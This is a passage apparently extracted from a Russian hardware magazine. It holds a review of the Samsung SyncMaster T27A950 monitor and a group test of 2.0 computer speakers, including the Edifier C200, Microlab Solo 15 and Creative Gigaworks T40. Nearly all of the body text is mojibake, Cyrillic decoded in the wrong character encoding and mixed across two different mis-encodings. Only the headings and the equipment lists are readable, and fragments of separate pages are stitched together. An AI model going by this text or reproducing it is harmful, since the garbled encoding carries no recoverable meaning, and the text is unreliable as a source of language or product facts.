ÓÆÎÓ, ÆÄÏ ÍÏÇÎÏ ÐÏÌÔØÉÓÝ ÉÈ ÓÃÏÉÖ ÒÏÂÒÓÃÆÎÎÜÖ ÃÉÅÆÏ É ÕÏÓÏ 
ÂÌÁÄÏÅÁÑà ÃÏÈÍÏÇÎÏÒÓÉ ËÏÎÃÆÑÓÉÑÏÃÁÎÉà ÉÈÏÂÑÁÇÆÎÉà ÉÈ 2D 
Ã 3D ÎÁ ÌÆÓÔ (ÃÏÓ, ÏËÁÈÜÃÁÆÓÒà, ÈÁØÆÍ ÃÆÎÓÉÌàÓÏÑ Ã ÐÏÅÒÓÁÃËÆ). 
¬É×ÆÈÑÆÓÝ ÇÆ ÃÒÆ ÞÓÏ ÍÏÇÎÏ Ò ÐÏÍÏÚÝß ÐÑÉÌÁÄÁßÚÉÖÒà ÈÁÓÃÏÑ-
ÎÜÖ ÏØËÏÃ.

ÆÎß Samsung SyncMaster T27A950 ÂÏÌÝÙÏÆ, ×ÃÆÓÎÏÆ É ÅÏÃÏÌÝ-
ÎÏ ÐÏÅÑÏÂÎÏÆ. ¾ÓÏ ÎÆÔÅÉÃÉÓÆÌÝÎÏ, ÃÆÅÝ ÎÔÇÎÏ ÏÖÃÁÓÉÓÝ ÒÓÏÌÝËÏ 
ÐÏÅÅÆÑÇÉÃÁÆÍÜÖ ÕÔÎË×ÉÊ. ´ÐÑÁÃÌàÓÝ ÉÍ ÍÏÇÎÏ ËÁË Ò ÐÏÍÏÚÝß 
ÒÆÎÒÏÑÎÜÖ ËÌÁÃÉÙ ÎÁ ÐÆÑÆÅÎÆÊ ÐÁÎÆÌÉ ÞËÑÁÎÁ, ÓÁË É Ò ÐÏÍÏ-
ÚÝß ÐÔÌÝÓÁ ¥ ,́ ËÏÓÏÑÜÊ ÄÏÑÁÈÅÏ ÔÅÏÂÎÆÊ Ã ÞÓÏÍ ÅÆÌÆ. £ÆÎØÁßÓ 
ÒÐÉÒÏË ÓÁËÉÆ ÐÑÉàÓÎÜÆ ÍÆÌÏØÉ, ËÁË ÁÃÓÏÍÁÓÉØÆÒËÁà ÐÏÅÒÓÑÏÊËÁ 
àÑËÏÒÓÉ É ÃÜËÌßØÆÎÉà ÐÏÅÒÃÆÓËÉ ÉÌÉ ÐÉÓÁÎÉà ÍÏÎÉÓÏÑÁ, ÆÒÌÉ 
ÆÄÏ ÏÒÓÁÃÉÌÉ Ã ÏÅÉÎÏØÆÒÓÃÆ. ¾ÓÏ ÏØÆÎÝ ÔÅÏÂÎÏ, ÆÒÌÉ ÓÜ ÓÚÁÓÆÌÝ-
ÎÏ ÂÆÑÆÇÆÙÝ ÞÌÆËÓÑÉØÆÒÓÃÏ Ã ÅÏÍÆ.

Методика тестирования
¥Ìà ÏÐÑÆÅÆÌÆÎÉà ×ÃÆÓÏÐÆÑÆÅÁØÉ ÍÏÎÉÓÏÑÁ ÍÜ ÉÒÐÏÌÝÈÏÃÁÌÉ 
ËÏÌÏÑÉÍÆÓÑ Datacolor Spyder3Elite, Ò ÐÏÍÏÚÝß ËÏÓÏÑÏÄÏ ÐÑÏÉÈ-
ÃÏÅÉÌÒà ÈÁÍÆÑ ÐÏËÁÈÁÓÆÌÆÊ ×ÃÆÓÏÐÆÑÆÅÁØÉ Ã ÓÑÆÖ ÑÆÇÉÍÁÖ: ÐÏÅ 
ÎÔÌÆÃÜÍ ÔÄÌÏÍ, ÐÏÅ ÔÄÌÏÍ 45 ÄÑÁÅÔÒÏÃ É 60 ÄÑÁÅÔÒÏÃ. ©ÅÆÁÌÝÎÏÊ 
ËÁÑÓÉÎÏÊ ÒØÉÓÁßÓÒà ÑÏÃÎÜÆ, ÃÜÓàÎÔÓÜÆ Ã ÒÓÑÔÎÔ ÌÉÎÉÉ. 
¯ÓËÌÏÎÆÎÉÆ ËÁËÏÊ-ÌÉÂÏ ÉÈ ÌÉÎÉÊ ÒÃÉÅÆÓÆÌÝÒÓÃÔÆÓ Ï ÎÁÑÔÙÆÎÉàÖ 
Ã ×ÃÆÓÏÐÆÑÆÅÁØÆ.
³ÁËÇÆ ÂÜÌÏ ÉÎÓÆÑÆÒÎÏ ÔÈÎÁÓÝ É ÐÑÏ ×ÃÆÓÏÃÏÊ ÏÖÃÁÓ ÔÒÓÑÏÊÒÓÃÁ 
sRGB. ²ÌÏÇÎÁà ÓÑÆÔÄÏÌÝÎÁà ÑÁÈÎÏ×ÃÆÓÎÁà ÕÉÄÔÑÁ àÃÌàÆÓÒà ×ÃÆ-
ÓÏÃÜÍ ÏÖÃÁÓÏÍ ÄÌÁÈÁ ØÆÌÏÃÆËÁ. ¨ÆÌÆÎÜÊ ÓÑÆÔÄÏÌÝÎÉË — sRGB — 
×ÃÆÓÏÃÏÊ ÏÖÃÁÓ, ÎÁ ÏÓÏÂÑÁÇÆÎÉÆ ËÏÓÏÑÏÄÏ (Ã ÓÆÏÑÉÉ) ÑÁÒÒØÉÓÁÎÏ 
ÂÏÌÝÙÉÎÒÓÃÏ ÍÏÎÉÓÏÑÏÃ. «ÑÁÒÎÜÊ ÓÑÆÔÄÏÌÝÎÉË — ×ÃÆÓÏÃÏÊ ÏÖÃÁÓ 
ÉÒÐÜÓÔÆÍÏÄÏ ÍÏÎÉÓÏÑÁ. ¸ÆÍ ÂÏÌÝÙÆ ËÑÁÒÎÜÊ ÓÑÆÔÄÏÌÝÎÉË — ÓÆÍ 
ÌÔØÙÆ.

Подводим итог
Samsung SyncMaster T27A950 — ÔÒÓÑÏÊÒÓÃÏ, ËÏÓÏÑÏÆ, ÂÆÈÔÒÌÏÃ-
ÎÏ, ÎÆ ÂÔÅÆÓ ÏÂÅÆÌÆÎÏ ÃÎÉÍÁÎÉÆÍ ÃÃÉÅÔ ÒÃÏÆÄÏ ÎÆÏÂÜØÎÏÄÏ 
ÅÉÈÁÊÎÁ É ÍÎÏÇÆÒÓÃÁ ÃÏÈÍÏÇÎÏÒÓÆÊ. ¾ÓÏÓ ÍÏÎÉÓÏÑ ÐÑÆËÑÁÒÎÏ 
ÐÏÅÏÊÅÆÓ ÅÌà ÒÏÈÅÁÎÉà Ã ÏÅÎÏÊ ÏÓÅÆÌÝÎÏ ÃÈàÓÏÊ ËÏÍÎÁÓÆ ×ÆÌÏ-
ÄÏ ×ÆÎÓÑÁ ÑÁÈÃÌÆØÆÎÉÊ. ² ÎÉÍ ÂÔÅÆÓ ËÏÍÕÏÑÓÎÏ ËÁË ÑÁÂÏÓÁÓÝ É 
ÒÏÃÆÑÙÁÓÝ ËÁËÉÆ-ÓÏ ÐÏÃÒÆÅÎÆÃÎÜÆ ÈÁÅÁØÉ, ÓÁË É ÏÓÅÜÖÁÓÝ, ØÓÏ 
ÎÁÈÜÃÁÆÓÒà, ÏÓ ÅÔÙÉ. £ÎÆ ÈÁÃÉÒÉÍÏÒÓÉ ÏÓ ÓÏÄÏ, ÐÑÆÅÐÏØÉÓÁÆÙÝ 
ÌÉ ÓÜ ÕÉÌÝÍÜ ÃÜÒÏËÏÄÏ ËÁØÆÒÓÃÁ, ×ÉÕÑÏÃÏÆ ³£, ËÏÍÐÝßÓÆÑÎÜÆ 
ÉÄÑÜ, ÏÂÑÁÂÏÓËÔ ÕÏÓÏÄÑÁÕÉÊ ÉÌÉ ÒÆÑÉÁÌÜ ÐÏ ÏÂÜØÎÜÍ ÓÆÌÆÃÉ-
ÈÉÏÎÎÜÍ ËÁÎÁÌÁÍ.  z

Цветовой охват на зависть многим собратьям-мониторам Герой сегодняшнего теста берет не только количеством 
функций, но и замечательным качеством цветопередачи



FERRUM
 ¡ÎÓÏÎ  ®ÉËÏÌÁÆÃ

Пробуем на вкус
²ÐÏÑÉÓÝ Ï ÃËÔÒÁÖ — ÐÏÒÌÆÅÎÆÆ ÅÆÌÏ. ¥Á ÍÜ É ÎÆ ÂÔÅÆÍ, Ã ÞÓÏÍ ÓÆÒÓÉÑÏÃÁ-
ÎÉÉ ÐÆÑÆÅ ÎÁÍÉ ÒÓÏàÌÁ ÅÑÔÄÁà ÈÁÅÁØÁ — ÏÐÑÆÅÆÌÉÓÝ, ÎÁ ØÓÏ ÓÁ ÉÌÉ ÉÎÁà 
ÁËÔÒÓÉËÁ ÒÐÏÒÏÂÎÁ Ã ÐÑÉÎ×ÉÐÆ. ®Æ ÎÁÑÔÙÁà ÒÌÏÇÉÃÙÔßÒà ÓÑÁÅÉ×Éß, 
ÃÒÓÑÆØÁÆÍ ÔØÁÒÓÎÉËÏÃ ÓÆÒÓÁ «ÐÏ ÏÅÆÇËÆ». 
£Ï-ÐÆÑÃÜÖ, ÄÁÂÁÑÉÓÜ. ̄ ÎÉ ÉÍÆßÓ ÎÆ ÐÏÒÌÆÅÎÆÆ ÈÎÁØÆÎÉÆ, ÃÆÅÝ ÏÓ ÎÉÖ 
ÈÁÃÉÒÉÓ, ÍÏÇÎÏ ÌÉ ÂÔÅÆÓ ÐÏÒÓÁÃÉÓÝ ËÔÐÌÆÎÎÜÆ ÁËÔÒÓÉØÆÒËÉÆ ÒÉÒÓÆÍÜ 
ÎÁ ÒÓÏÌ, ÂÆÈ ÔÚÆÑÂÁ ÈÁÎàÓÝ ÐÏÌÏÃÉÎÔ ÑÁÂÏØÆÄÏ ÐÑÏÒÓÑÁÎÒÓÃÁ, ÉÌÉ ÇÆ 
ÐÑÉÅÆÓÒà ÅÏÌÄÏ ÒÓÏàÓÝ Ã ËÏÍÎÁÓÆ, ÒÏÏÂÑÁÇÁà, ËÔÅÁ ÇÆ ÐÑÉÒÓÑÏÉÓÝ ÞÓÉ 
ØÆÑÓÏÃÜ ËÏÌÏÎËÉ.
£Ï-ÃÓÏÑÜÖ, ÅÉÈÁÊÎ. ¥ÉÈÁÊÎ, ËÒÓÁÓÉ, ÞÓÏ ÎÆ ÓÏÌÝËÏ, É ÅÁÇÆ ÎÆ ÒÓÏÌÝËÏ 
ÒÉÍÐÁÓÉØÎÜÊ ÃÎÆÙÎÉÊ ÃÉÅ (ÅÏÄÏÃÏÑÉÌÉÒÝ ÇÆ Ï ÃËÔÒÁÖ ÎÆ ÒÐÏÑÉÓÝ), ÓÔÓ 
ÉÍÆÆÓÒà Ã ÃÉÅÔ ÓÆÖÎÉØÆÒËÁà ÒÓÏÑÏÎÁ ÃÏÐÑÏÒÁ. ®ÁÐÑÉÍÆÑ, ÏÓ ÓÏÄÏ, ÄÅÆ É 
ËÁË ÎÁ ËÏÑÐÔÒÁÖ ÑÁÒÐÏÌÏÇÆÎÜ ÑÆÄÔÌàÓÏÑÜ, ÂÔÅÆÓ Ã ËÏÎÆØÎÏÍ ÒØÆÓÆ ÈÁÃÉ-
ÒÆÓÝ ÔÅÏÂÒÓÃÏ ÐÏÌÝÈÏÃÁÎÉà. 
®Ô É, ËÏÎÆØÎÏ ÇÆ, ÃÁÇÆÎ ÈÃÔË. ®ÉËÁËÉÖ ÐÏÂÌÁÇÆË ÅÌà ÒÆÄÏÅÎàÙÎÉÖ 
ÔØÁÒÓÎÉËÏÃ ÎÆ ÐÌÁÎÉÑÏÃÁÌÏÒÝ, ÐÏÞÓÏÍÔ ÓÆÒÓÏÃÜÊ ÍÁÓÆÑÉÁÌ ÍÜ ÐÏÅÏÂ-
ÑÁÌÉ ÒÁÍÜÊ ÒÔÑÏÃÜÊ, ÎÆÏÅÎÏËÑÁÓÎÏ ÐÑÏÃÆÑÆÎÎÜÊ Ã ÓÆÒÓÁÖ ÅÏÍÁÙÎÆÊ É 
ÁÃÓÏÍÏÂÉÌÝÎÏÊ ÓÆÖÎÉËÉ, Ã ÓÏÍ ØÉÒÌÆ É ËÌÁÒÒÁ high-end. «¯ÂàÈÁÓÆÌÝÎÔß 
ÐÑÏÄÑÁÍÍÔ» ÒÏÒÓÁÃÉÌÉ ÅÉÒËÉ, ÐÑÉÍÆÎàÆÍÜÆ ÎÁ ÁÃÓÏÈÃÔËÏÃÜÖ ÒÏÑÆÃÎÏ-
ÃÁÎÉàÖ, É ÏÅÉÎ ÉÈ ÌÔØÙÉÖ, ÎÁ ÎÁÙ ÃÈÄÌàÅ, «ÅÏÍÁÙÎÉÖ» ÓÆÒÓÏÃÜÖ ÅÉÒËÏÃ 
Focal Tools, ÂÆÈÇÁÌÏÒÓÎÏ ÏÂÎÁÇÁßÚÉÊ ÃÒÆ ÏÄÑÆÖÉ ÁÐÐÁÑÁÓÔÑÜ.
£ÐÑÏØÆÍ, ÍÜ ÂÜÌÉ ÂÜ ÒÎÏÂÁÍÉ, ÆÒÌÉ ÂÜ ÞÓÉÍ ÅÆÌÏ É ÏÄÑÁÎÉØÉÌÏÒÝ, 
ÃÆÅÝ Ã ÑÆÁÌÝÎÏÊ-ÓÏ ÇÉÈÎÉ ÞÓÏÊ ÁËÔÒÓÉËÆ ÐÑÆÅÒÓÏÉÓ ÉÄÑÁÓÝ ÍÔÈÜËÔ ÃÒÆ 
ÇÆ ÎÆÍÎÏÄÏ ÐÏÐÑÏÚÆ. °ÏÞÓÏÍÔ Ã ËÁØÆÒÓÃÆ «ÃÏÌÝÎÏÊ ÐÑÏÄÑÁÍÍÜ» ÈÁ-
ÑÁÎÆÆ ÂÜÌÁ ÐÑÉÄÏÓÏÃÌÆÎÁ ×ÆÌÁà ÒÓÏÐËÁ ÅÉÒËÏÃ, ËÏÓÏÑÜÆ Ã ÉÎÏÍ ÒÌÔØÁÆ 
ÃÑàÅ ÌÉ ËÏÄÅÁ ÍÏÇÎÏ ÂÜÌÏ ÂÜ ÔÃÉÅÆÓÝ ÃÏÓ ÓÁË, ÃÍÆÒÓÆ. £ ÎÆÊ ÒÏÒÆÅÒÓÃÏ-
ÃÁÌÉ Armin Van Buuren ÒÏ ÒÃÏÉÍÉ ÃÆÑÓÔÙËÁÍÉ É ÐÌÏÓÎÜÍ ÞÌÆËÓÑÏÎÎÜÍ 
ÑÉÓÍÏÍ É Ray Brown ÒÏ ÒÃÏÉÍ ËÏÎÓÑÁÂÁÒÏÍ (ÍÆÇÅÔ ÐÑÏØÉÍ, ÎÆ ÓÁËÏÊ 
ÐÑÏÒÓÏÊ ÅÌà ÃÏÒÐÑÏÉÈÃÆÅÆÎÉà ÉÎÒÓÑÔÍÆÎÓ, ÅÌà ÓÆÒÓÁ ËÁØÆÒÓÃÁ ÂÁÒÁ 
ÐÏÅÖÏÅÉÓ ÏØÆÎÝ ÅÁÇÆ ÎÆÐÌÏÖÏ), Jackyl ÒÏ ÒÃÏÉÍÉ àÅÑÆÎÜÍÉ ÞÌÆËÓÑÏ-
ÄÉÓÁÑÁÍÉ (ÅÉÎÁÍÉËÁ É ÑÁÈÂÏÑØÉÃÏÒÓÝ ÒÑÆÅÎÉÖ ØÁÒÓÏÓ) É Diana Krall ÒÏ 
ÒÃÏÉÍ ÂÁÑÖÁÓÎÜÍ ÃÏËÁÌÏÍ É ÙÉËÁÑÎÜÍ ÁËËÏÍÐÁÎÆÍÆÎÓÏÍ (ÐÑÏÃÆÑËÁ 
ÓÏÎÁÌÝÎÏÄÏ ÂÁÌÁÎÒÁ É ËÁØÆÒÓÃÁ ÃÏÒÐÑÏÉÈÃÆÅÆÎÉà ÒÑÆÅÎÉÖ É ÃÆÑÖÎÉÖ 
ØÁÒÓÏÓ). £ ÏÂÚÆÍ, ÍÔÈÜËÁÌÝÎÜÊ ÍÁÓÆÑÉÁÌ ÎÁ ÃÒÆ ÒÌÔØÁÉ ÇÉÈÎÉ. ̧ ÓÏÂ ÔÇ 
ÂÆÈ ÒÐÏÑÏÃ Ï ÃËÔÒÁÖ. 

Трудности выбора
£ ÐÌÁÎÆ ÔÑÏÃÎà ÈÃÔËÁ ÈÁ ÒÃÏß ÒÓÏÉÍÏÒÓÝ ÁËÔÒÓÉØÆÒËÁà ÒÉÒÓÆÍÁ 
Microlab Solo 15 ÔÅÏÒÓÁÉÃÁÆÓÒà ÎÁÄÑÁÅÜ «¬ÔØÙÁà ÐÏËÔÐËÁ». ¡ ÃÏÓ ÐÏ-
ÍÉÍÏ ÉÅÆÁÌÝÎÏÄÏ ÈÃÔØÁÎÉà, ÅÁ ÆÚÆ É ÔÅÏÂÒÓÃÁ ÐÏÌÝÈÏÃÁÎÉà Ã ÐÑÉÅÁØÔ 
ÃÎÆ ÃÒàËÏÊ ËÏÎËÔÑÆÎ×ÉÉ — Edifier C200. ¢ÌÏØÎÁà ËÏÎÒÓÑÔË×Éà É «ÌÆÎ-
ÓàÊËÁ» Ã ËÏÍÐÌÆËÓÆ ÏÓËÑÜÃÁßÓ ÈÁÍÁÎØÉÃÜÆ ÃÏÈÍÏÇÎÏÒÓÉ ÑÁÈÍÆÒÓÉÓÝ 
ÁËÔÒÓÉËÔ ÐÑÁËÓÉØÆÒËÉ ÄÅÆ ÅÔÙÆ ÔÄÏÅÎÏ, ÎÆ ÅÔÍÁà Ï ÓÏÍ, ÐÑÉÅÆÓÒà ÌÉ 
ÓàÎÔÓÝÒà ÉÌÉ ÃÒËÁËÉÃÁÓÝ Ò ÍÆÒÓÁ, ØÓÏÂÜ, ÎÁÐÑÉÍÆÑ, ÐÑÉÂÁÃÉÓÝ ÉÌÉ 
ÔÂÁÃÉÓÝ ÄÑÏÍËÏÒÓÝ ÉÌÉ ÐÆÑÆËÌßØÉÓÝ ÆÆ ÎÁ ÅÑÔÄÏÊ ÉÒÓÏØÎÉË. ̄ ÅÎÉÍ 
ÒÌÏÃÏÍ, ÑÆËÏÍÆÎÅÔÆÍ É ÎÁÄÑÁÇÅÁÆÍ ÁËÔÒÓÉØÆÒËÔß ÒÉÒÓÆÍÔ ÐÑÉÈÏÍ 
«£ÜÂÏÑ ÑÆÅÁË×ÉÉ».

Â ÇÂÓÊÀÕ 
ÂÛÑÎÊÈÕ ÑÔÅÐ
Òåñòèðîâàíèå àêóñòè÷åñêèõ ñèñòåì ôîðìàòà 2.0

 Ïðîøëè óæå òå âðåìåíà, êîãäà ñëîâîñî÷åòàíèå «êîìïüþòåðíàÿ 
àêóñòèêà» âûçûâàëî àññîöèàöèè èñêëþ÷èòåëüíî ñ óáîãèìè 
ïëàñòèêîâûìè ïèùàëêàìè. Ñîâðåìåííûå àêóñòè÷åñêèå íàáîðû îòëè÷íî 
ðåøàþò ñàìûå ÷àñòûå çàäà÷è: ïðîñëóøèâàíèå ìóçûêè, êîìïüþòåðíûå 
èãðû è ò.ä. Ïðî äîìàøíèå êèíîòåàðòû íå ãîâîðèì — â ñåãîäíÿøíåì 
îáçîðå ðå÷ü ïîéäåò îá àêóñòèêå êëàññè÷åñêîãî ôîðìàòà 2.0.
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Автомобильный DVD-ресивер Alpine DVA-9861Ri 
+ переходник 2RCA to mini-jack

Тестовый источник:

Creative Gigaworks T40 series II
Edifier C200
Edifier R2000T
JBL Duet III
Microlab H11
Sven Stream Mega

Список тестируемого оборудования:

Focal Tools
IASCA Official Sound Quality Reference CD
AMT SQ
Разножанровые сборники

Тестовый материал:
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Gigaworks T40 series II ÎÁÐÏÍÉÎÁßÓ ÒÆÑÝÆÈÎÜÆ ÎÁÐÏÌÝÎÉËÉ, ÓÏÌÝËÏ Ã 
ÍÉÎÉÁÓßÑÆ. £ ËÁÇÅÏÊ ÉÈ ËÏÌÏÎÏË ÔÒÓÁÎÏÃÌÆÎÜ ÅÃÁ ÒÑÆÅÎÆØÁÒÓÏÓÎÉËÁ É 
ÏÅÉÎ ÓÃÉÓÆÑ ÍÆÇÅÔ ÎÉÍÉ. ³ÁËÏÆ ÑÁÒÐÏÌÏÇÆÎÉÆ ÅÉÎÁÍÉËÏÃ ÏÂÆÒÐÆØÉÃÁÆÓ, 
ÐÏ ÈÁÅÔÍËÆ ÐÑÏÉÈÃÏÅÉÓÆÌà, ÉÖ ÌÔØÙÆÆ ÒÏÄÌÁÒÏÃÁÎÉÆ. ²ÑÆÅÎÆØÁÒÓÏÓÎÉËÉ 
ÉÍÆßÓ ÅÉÕÕÔÈÏÑÜ ÉÈ ÐÌÆÓÆÎÏÄÏ ÒÓÆËÌÏÃÏÌÏËÎÁ. ¾ÓÏÓ ÍÁÓÆÑÉÁÌ, ËÒÓÁÓÉ, 
ØÁÒÓÏ ÐÑÉÍÆÎàÆÓÒà Ã ÅÏÑÏÄÏÊ ÁËÔÒÓÉËÆ. ¥ÏÐÏÌÎÉÓÆÌÝÎÁà ÐÑÉàÓÎÁà ÕÉÙ-
ËÁ — ÃÏÈÍÏÇÎÏÒÓÝ ÐÏÅËÌßØÆÎÉà ÅÏË-ÒÓÁÎ×ÉÉ Creative Docking Station 
X-30 ÅÌà iPod, ÑÁÈÛÆÍ ÅÌà ÎÆÆ ÑÁÒÐÏÌÏÇÆÎ ÎÁ ÓÜÌÝÎÏÊ ÒÓÏÑÏÎÆ ÏÅÎÏÊ 
ÉÈ ËÏÌÏÎÏË. «ÒÓÁÓÉ, ÆÒÌÉ Ô ÓÆÂà ÎÆ iPod, Á ÅÑÔÄÏÊ ÐÌÆÆÑ, ÓÏ ÓÜ ÍÏÇÆÙÝ 
ÐÏÅËÌßØÉÓÝ ÆÄÏ Ë AUX-ÃÖÏÅÔ, ÑÁÒÐÏÌÏÇÆÎÎÏÍÔ ÎÁ ÌÉ×ÆÃÏÊ ÒÓÏÑÏÎÆ ÐÏÅ 
ÑÆÄÔÌàÓÏÑÏÍ ÄÑÏÍËÏÒÓÉ.
¸ÓÏ ËÁÒÁÆÓÒà ÈÃÔËÁ, ÓÏ ÄÌÔÂÏËÏÄÏ ÂÁÒÁ É ÅÉÒËÏÓÆØÎÏÄÏ ÔÅÁÑÎÏÄÏ ÒÁÔÎÅÁ ÏÓ 
ÞÓÏÊ ÁËÔÒÓÉËÉ ÍÏÇÎÏ ÎÆ ÇÅÁÓÝ, ÖÏÓà ÎÁ ÏÂÜØÎÏÊ ÍÔÈÜËÆ, ÃËÌßØÆÎÎÏÊ ËÁË 
ÎÆÎÁÃàÈØÉÃÜÊ ÕÏÎ, ÏÒÏÂÏÄÏ ÅÉÒËÏÍÕÏÑÓÁ ÎÆÖÃÁÓËÁ ÂÁÒÁ ÎÆ ÃÜÈÜÃÁÆÓ. 
¡ ÃÒÆ ÂÌÁÄÏÅÁÑà ÓÏÍÔ, ØÓÏ ÒÑÆÅÎÉÆ ØÁÒÓÏÓÜ É ÃÆÑÖÁ ÈÃÔØÁÓ ÎÁ ÑÆÅËÏÒÓÝ 
ÐÑÉàÓÎÏ ÅÌà ÒÃÏÆÊ ×ÆÎÜ É ÑÁÈÍÆÑÏÃ. ̈ ÃÔË ØÉÒÓÜÊ É ÌÆÄËÉÊ. ́  ÞÓÏÊ ÁËÔÒÓÉ-
ËÉ ÎÆÐÌÏÖÁà ÑÁÈÑÆÙÁßÚÁà ÒÐÏÒÏÂÎÏÒÓÝ, ËÏÓÏÑÁà ÎÁÃÆÑÎàËÁ ÐÏÈÃÏÌÉÓ 
ÔÒÌÜÙÁÓÝ ÅÁÇÆ Ã ÈÎÁËÏÍÜÖ ÓÑÆËÁÖ ÎÏÃÜÆ ÐÏÅÑÏÂÎÏÒÓÉ.

¬ ÀÒÎÏÆ É ËÑÁÒÉÃÏÆ ÃÏÒÐÑÏÉÈÃÆÅÆÎÉÆ ÒÑÆÅÎÉÖ É ÃÜÒÏËÉÖ ØÁÒÓÏÓ.
¬ £ÏÈÍÏÇÎÏÒÓÝ ÐÏÅËÌßØÆÎÉà ÅÏË-ÒÓÁÎ×ÉÉ ÅÌà iPod.
¬ «ÏÍÐÁËÓÎÏÒÓÝ.

- ²ËÑÏÍÎÜÆ ÂÁÒÏÃÜÆ ÃÏÈÍÏÇÎÏÒÓÉ.

¦ÒÌÉ ÓÜ ÍÆØÓÁÆÙÝ Ï ÒÓÆÑÆÏÒÉÒÓÆÍÆ, ÎÏ ÂßÅÇÆÓ ÎÆ ÐÏÈÃÏÌàÆÓ ÈÁÍÁÖÎÔÓÝÒà 
ÎÁ ÅÏÑÏÄÔß Hi-Fi-«ÅÏÍÁÙËÔ», ÓÏ ÏÂÑÁÓÉ ÒÃÏÆ ÃÎÉÍÁÎÉÆ ÎÁ Edifier C200. 
£Ï-ÐÆÑÃÜÖ, ÐÏÓÏÍÔ, ØÓÏ ÃÜÄÌàÅÉÓ ÁËÔÒÓÉËÁ ÃÆÌÉËÏÌÆÐÎÏ É, ÂÆÈÔÒÌÏÃÎÏ, 
ÅÏÂÁÃÉÓ àÑËÉÖ ÎÏÓ Ã ÉÎÓÆÑÝÆÑ ËÏÍÎÁÓÜ, ËÔÅÁ ÂÔÅÆÓ ÔÒÓÁÎÏÃÌÆÎÁ.  £Ï-ÃÓÏ-
ÑÜÖ, Edifier C200 ÉÍÆÆÓ ÂÌÏØÎÔß ËÏÎÒÓÑÔË×Éß — ÐÁÒÒÉÃÎÜÆ ÁËÔÒÓÉØÆÒ-
ËÉÆ ÒÉÒÓÆÍÜ É ÏÓÅÆÌÝÎÜÊ ÔÒÉÌÉÓÆÌÝ Ò ÔÅÏÂÎÜÍ ÂÏÌÝÙÉÍ ÞÎËÏÅÆÑÏÍ É 
LED-ÉÎÅÉËÁÓÏÑÏÍ, ÎÁ ËÏÓÏÑÜÊ ÃÜÃÏÅÉÓÒà ÔÑÏÃÆÎÝ ÄÑÏÍËÏÒÓÉ ÉÌÉ ÔÑÏÃÆÎÝ 
ÎÉÈËÉÖ/ÃÜÒÏËÉÖ ØÁÒÓÏÓ. £ ËÏÍÐÌÆËÓÆ ÉÅÆÓ ÏØÆÎÝ ÔÅÏÂÎÜÊ °¥´ ËÁÑÓÏØÎÏÄÏ 
ÓÉÐÁ, ÓÁË ØÓÏ ÔÐÑÁÃÌàÓÝÒà Ò ÞÓÏÊ ÁËÔÒÓÉËÏÊ — ÏÅÎÏ ÔÅÏÃÏÌÝÒÓÃÉÆ. °ÏÍÉÍÏ 
ÏÂÜØÎÏÄÏ ÒÓÆÑÆÏÃÖÏÅÁ, ÔÒÉÌÉÓÆÌÝ ÏÒÎÁÚÆÎ ÅÏÐÏÌÎÉÓÆÌÝÎÜÍ ÃÖÏÅÏÍ AUX, 
Ë ÎÆÍÔ ÍÏÇÎÏ ÐÏÅËÌßØÉÓÝ, Ë ÐÑÉÍÆÑÔ, DVD-ÑÆÒÉÃÆÑ, ÍÆÅÉÁÐÌÆÆÑ ÉÌÉ ÇÆ 
ÉÄÑÏÃÔß ÐÑÉÒÓÁÃËÔ, É ÐÏÓÏÍ ÐÆÑÆËÌßØÁÓÝÒà ÍÆÇÅÔ ÉÒÓÏØÎÉËÁÍÉ ÐÑàÍÏ Ò 
ÐÔÌÝÓÁ. «ÁË ÃÉÅÉÙÝ, Ò ÓÏØËÉ ÈÑÆÎÉà ÞÑÄÏÎÏÍÉËÉ, ÕÔÎË×ÉÏÎÁÌÁ É ÃÎÆÙÎÆÄÏ 
ÃÉÅÁ Edifier C200 ÎÆÓ ÑÁÃÎÜÖ.
² ÓÆÖÎÉØÆÒËÏÊ ÓÏØËÉ ÈÑÆÎÉà ÃÒÆ ÓÏÇÆ ÒÅÆÌÁÎÏ ÎÁ ÃÜÒÙÆÍ ÔÑÏÃÎÆ. «ÏÑÐÔÒÁ 
ËÏÌÏÎÏË ÃÜÐÏÌÎÆÎÜ ÉÈ ¥µ É ÉÍÆßÓ ËÁØÆÒÓÃÆÎÎÏÆ ÐÏËÑÜÓÉÆ ÐÏÅ ØÆÑÎÏÆ 
ÅÆÑÆÃÏ. ̄ ÂÏÅËÉ ÃÏËÑÔÄ ÅÉÎÁÍÉËÏÃ — ÞÓÏ ÎÆ ÐÑÏÒÓÏ ÅÆËÏÑ, Á ÉÖ ÓÏØÆÎÜÆ 
ÕÌÁÎ×Ü, ÓÁË ØÓÏ ÓÔÓ ÃÒÆ ÒÆÑÝÆÈÎÏ, ÎÉËÁËÉÖ ÉÍÉÓÁ×ÉÊ.
®ÁËÏÎÆ× ÈÃÔØÉÓ ËÏÍÐÌÆËÓ ÏØÆÎÝ ÉÎÓÆÑÆÒÎÏ. ¬ßÂÉÓÆÌÉ ÐÏÅÅÁÓÝ ÂÁÒËÔ ÎÁ-
ÃÆÑÎàËÁ Ï×ÆÎàÓ ÎÉÈËÏØÁÒÓÏÓÎÜÊ ÐÏÓÆÎ×ÉÁÌ ÁËÔÒÓÉËÉ, ÐÑÉØÆÍ Ò ÐÏÍÏÚÝß 
ÑÆÄÔÌàÓÏÑÁ ÓÆÍÂÑÁ ÈÃÔË ÍÏÇÎÏ ÎÁÒÓÑÏÉÓÝ, ÉÒÖÏÅà ÉÈ ÒÏÂÒÓÃÆÎÎÜÖ ÐÑÆÅ-
ÐÏØÓÆÎÉÊ. ² ÅÑÔÄÉÍÉ ÇÁÎÑÁÍÉ Edifier C200 (ÏÓ ÅÆÑÈËÏÄÏ ÑÏËÁ ÅÏ ÍàÄËÏÄÏ, 
ÃÏÈÅÔÙÎÏÄÏ ÉÎÒÓÑÔÍÆÎÓÁÌÁ) ÒÐÑÁÃÌàÆÓÒà ÂÆÈ ÐÑÏÂÌÆÍ. £ ÏÂÚÆÍ, Ã ÐÌÁÎÆ 
ÈÃÔËÁ ²200 ÍÏÇÎÏ ÎÁÈÃÁÓÝ ÉÅÆÁÌÝÎÜÍ ÐÏ «ÃÒÆàÅÎÏÒÓÉ» ËÏÍÐÌÆËÓÏÍ.

¬ «ÁØÆÒÓÃÆÎÎÜÊ ÈÃÔË.
¬ ¢ÌÏØÎÜÊ ÅÉÈÁÊÎ, ÐÔÌÝÓ ÅÉÒÓÁÎ×ÉÏÎÎÏÄÏ ÔÐÑÁÃÌÆÎÉà.

- °ÑÉ ÐÏÌÎÏÍ ÏÓËÌßØÆÎÉÉ ÐÉÓÁÎÉà ÒÂÑÁÒÜÃÁßÓÒà ÎÁÒÓÑÏÊËÉ
